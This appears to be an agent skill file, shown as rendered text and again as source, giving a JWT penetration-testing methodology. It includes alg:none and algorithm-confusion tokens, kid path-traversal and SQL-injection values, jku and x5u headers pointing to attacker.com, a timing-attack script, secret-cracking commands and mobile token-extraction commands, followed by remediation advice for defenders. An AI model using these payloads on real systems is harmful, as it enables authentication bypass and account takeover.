Overview
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
Quick Reference: Misconfigurations to Check
- Algorithm set to
none — signature verification bypassed entirely
- Algorithm switching between
RSA and HMAC (confusion attack)
- Weak or guessable HMAC secret (brute-forceable)
kid, jku, jwk, x5u header parameters accepted without validation
- Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
Mechanisms
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm |
Type |
Notes |
| HS256/384/512 |
Symmetric HMAC |
Shared secret; confusion target |
| RS256/384/512 |
Asymmetric RSA |
Public key can be misused as HMAC secret |
| ES256/384/512 |
Asymmetric ECDSA |
|
| PS256/384/512 |
RSASSA-PSS |
|
| EdDSA (Ed25519/Ed448) |
Asymmetric |
|
| none |
Unsigned |
Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
typ/cty
- JWKS retrieval: SSRF via
jku/x5u, insecure TLS, poisoned key caching, kid collisions
- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
Hunt: Identifying JWT Usage
- Check
Authorization: Bearer <token> headers in all requests
- Look for cookies containing JWT structures (
eyJ...)
- Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any
kid, jku, jwk, x5u fields in the header — these are attack surfaces
Vulnerability Map
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
Vulnerabilities
Algorithm Vulnerabilities
- alg:none — Some libraries disable signature validation when
alg is none or a case variant (None, NONE, nOnE)
- Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
alg to HS256; attacker re-signs token with the public key
- Key ID (
kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups
Signature Vulnerabilities
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
Implementation Issues
- Missing Claims Validation —
exp, nbf, aud, iss not verified
- Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
Header Injection Attacks
- JWK Injection — Supply a custom attacker-controlled public key via the
jwk header
- JKU Manipulation — Point
jku (JWK Set URL) to attacker-controlled JWKS endpoint
- x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via
kid collisions or response header manipulation
crit Header Abuse — Server ignores unknown critical parameters, enabling bypass
Information Disclosure
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
- Keystore extraction: root device or exploit app
- Backup extraction:
adb backup -f backup.ab <package> (if allowBackup=true)
- Tools: Frida, objection, MobSF
iOS:
- Keychain: Check
kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Timing Attacks on HMAC
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
JWT in URL Parameters
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via
Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Manual Testing Steps
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature
Test none Algorithm (try all case variants):
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt
Test Missing Claim Validation:
- Remove or modify
exp (expiration)
- Change
iss (issuer) or aud (audience)
- Modify
iat (issued at) or nbf (not before)
Automated Testing with JWT_Tool
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
Other tools:
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction
Remediation Recommendations
- Use short-lived access tokens; rotate refresh tokens frequently
- Always validate
aud (audience) and iss (issuer) claims
- Disable
none algorithm; prevent algorithm downgrades; pin alg per client/issuer
- Ensure key material loaded for verification matches
alg; reject mismatches
- Reject tokens with unknown
crit header parameters
- Validate JWKS over pinned TLS; disallow remote
jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
- Enforce maximum token length; disable JWE compression unless required
- Maintain server-side deny-list keyed by
jti for early revocation
- For DPoP tokens (
typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
- Bind sessions to device when possible; rotate refresh tokens on every use
- Prefer
SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens
Alternatives & Modern Mitigations
- PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
- Macaroons — bearer tokens with attenuable, caveat-based delegation
- DPoP and mTLS — bind tokens to the client to prevent replay
1---2name: offensive-jwt3description: JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.4---5
6## Overview
7
8Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
9
10## Quick Reference: Misconfigurations to Check
11
12- Algorithm set to `none` — signature verification bypassed entirely
13- Algorithm switching between `RSA` and `HMAC` (confusion attack)
14- Weak or guessable HMAC secret (brute-forceable)
15- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation
16- Expired or tampered tokens accepted by server
17- Sensitive data stored unencrypted in payload
18
19Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)
20
21## Mechanisms
22
23JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.
24
25**Signing algorithms:**
26
27| Algorithm | Type | Notes |
28|-----------|------|-------|
29| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
30| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
31| ES256/384/512 | Asymmetric ECDSA | |
32| PS256/384/512 | RSASSA-PSS | |
33| EdDSA (Ed25519/Ed448) | Asymmetric | |
34| none | Unsigned | Critically insecure |
35
36**Additional pitfalls:**
37- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`
38- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions
39- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
40
41## Hunt: Identifying JWT Usage
42
431. Check `Authorization: Bearer <token>` headers in all requests
442. Look for cookies containing JWT structures (`eyJ...`)
453. Examine browser local/session storage
464. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
475. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces
48
49## Vulnerability Map
50
51```
52JWT Vulnerabilities
53├── Algorithm Bypass
54│ ├── alg:none attack
55│ └── RS256→HS256 confusion (public key as HMAC secret)
56├── Weak Secret Key → Brute force
57├── kid Parameter Injection
58│ ├── SQL injection via kid
59│ └── Path traversal via kid
60├── Header Injection
61│ ├── jwk (inline fake key)
62│ ├── jku/x5u (remote attacker-controlled JWKS)
63│ └── JWKS cache poisoning
64└── Missing / Broken Validation
65 ├── No signature check
66 ├── Expired tokens accepted
67 └── iss/aud/exp not validated
68```
69
70## Vulnerabilities
71
72### Algorithm Vulnerabilities
73
74- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)
75- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key
76- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups
77
78### Signature Vulnerabilities
79
80- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat
81- **Missing Signature Validation** — Token accepted without any verification
82- **Broken Validation** — Implementation errors in signature checking logic
83
84### Implementation Issues
85
86- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified
87- **Insufficient Entropy** — Predictable JWT IDs or tokens
88- **No Expiration** — Tokens valid indefinitely
89- **Insecure Transport** — Token sent over HTTP
90- **Debug Leakage** — Detailed error messages expose implementation
91
92### Header Injection Attacks
93
94- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header
95- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint
96- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
97- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation
98- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass
99
100### Information Disclosure
101
102- Sensitive data (PII, credentials, session details) stored unencrypted in payload
103- Internal service/backend information leaked via claims
104
105## Additional Attack Vectors
106
107### Mobile App JWT Storage
108
109**Android:**
110- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`
111- Keystore extraction: root device or exploit app
112- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)
113- Tools: Frida, objection, MobSF
114
115**iOS:**
116- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure
117- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
118- Jailbreak + Keychain-Dumper for full extraction
119- Tools: Frida, objection, idb
120
121**React Native / Hybrid:**
122- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default
123
124```bash
125# Android — check SharedPreferences
126adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
127
128# iOS — extract from backup
129idevicebackup2 backup --full /path/to/backup
130# Use plist/sqlite tools to extract JWT
131```
132
133### JWT Confusion Attacks
134
135- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
136- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa
137- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session
138- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token
139
140```bash
141# Try API key where JWT expected
142curl -H "Authorization: Bearer <api_key>" https://api.target/resource
143
144# Try JWT where API key expected
145curl -H "X-API-Key: <jwt_token>" https://api.target/resource
146```
147
148### Timing Attacks on HMAC
149
150Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
151
152```python
153import requests, time
154
155def time_request(signature):
156 start = time.perf_counter()
157 r = requests.get('https://target/api',
158 headers={'Authorization': f'Bearer header.payload.{signature}'})
159 return time.perf_counter() - start
160
161# Brute-force first byte — longer response time indicates correct byte
162for byte in range(256):
163 sig = bytes([byte]) + b'\x00' * 31
164 t = time_request(sig.hex())
165```
166
167### JWT in URL Parameters
168
169- Tokens in GET URLs appear in server logs, proxy logs, browser history
170- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens
171
172```bash
173curl "https://api.target/resource?token=eyJ..."
174curl "https://api.target/resource?access_token=eyJ..."
175curl "https://api.target/resource?jwt=eyJ..."
176```
177
178Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
179
180## Manual Testing Steps
181
1821. **Decode and Inspect:**
183 ```
184 base64url_decode(header) . base64url_decode(payload) . signature
185 ```
186
1872. **Test `none` Algorithm** (try all case variants):
188 ```
189 {"alg":"none","typ":"JWT"}.payload.""
190 {"alg":"None","typ":"JWT"}.payload.""
191 {"alg":"NONE","typ":"JWT"}.payload.""
192 {"alg":"nOnE","typ":"JWT"}.payload.""
193 ```
194
1953. **Algorithm Confusion (RS256→HS256):**
196 ```
197 # Re-sign with RSA public key used as HMAC secret
198 {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
199 ```
200
2014. **kid Parameter Attacks:**
202 ```
203 {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
204 {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
205 {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
206 ```
207
2085. **JWK/JKU Injection:**
209 ```
210 {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
211 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
212 ```
213
2146. **x5u / crit Handling:**
215 ```
216 {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
217 {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
218 ```
219
2207. **Brute Force HMAC Secret:**
221 ```bash
222 python3 jwt_tool.py <token> -C -d wordlist.txt
223 ```
224
2258. **Test Missing Claim Validation:**
226 - Remove or modify `exp` (expiration)
227 - Change `iss` (issuer) or `aud` (audience)
228 - Modify `iat` (issued at) or `nbf` (not before)
229
230## Automated Testing with JWT_Tool
231
232```bash
233# Basic token inspection
234python3 jwt_tool.py <token>
235
236# Full vulnerability scan
237python3 jwt_tool.py <token> -M all
238
239# Targeted attacks
240python3 jwt_tool.py <token> -X a # Algorithm confusion
241python3 jwt_tool.py <token> -X n # Null/none signature
242python3 jwt_tool.py <token> -X i # Identity theft
243python3 jwt_tool.py <token> -X k # Key confusion
244
245# Crack HMAC secret
246python3 jwt_tool.py <token> -C -d wordlist.txt
247```
248
249**Other tools:**
250- JWT.io — basic token inspection and debugging
251- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
252- jwtXploiter — advanced JWT vulnerability scanning
253- c-jwt-cracker — high-speed HMAC brute force (C implementation)
254- Frida, objection, MobSF — mobile JWT extraction
255
256## Remediation Recommendations
257
258- Use short-lived access tokens; rotate refresh tokens frequently
259- Always validate `aud` (audience) and `iss` (issuer) claims
260- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer
261- Ensure key material loaded for verification matches `alg`; reject mismatches
262- Reject tokens with unknown `crit` header parameters
263- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness
264- Enforce maximum token length; disable JWE compression unless required
265- Maintain server-side deny-list keyed by `jti` for early revocation
266- For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use
267- Bind sessions to device when possible; rotate refresh tokens on every use
268- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens
269
270## Alternatives & Modern Mitigations
271
272- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks
273- **Macaroons** — bearer tokens with attenuable, caveat-based delegation
274- **DPoP and mTLS** — bind tokens to the client to prevent replay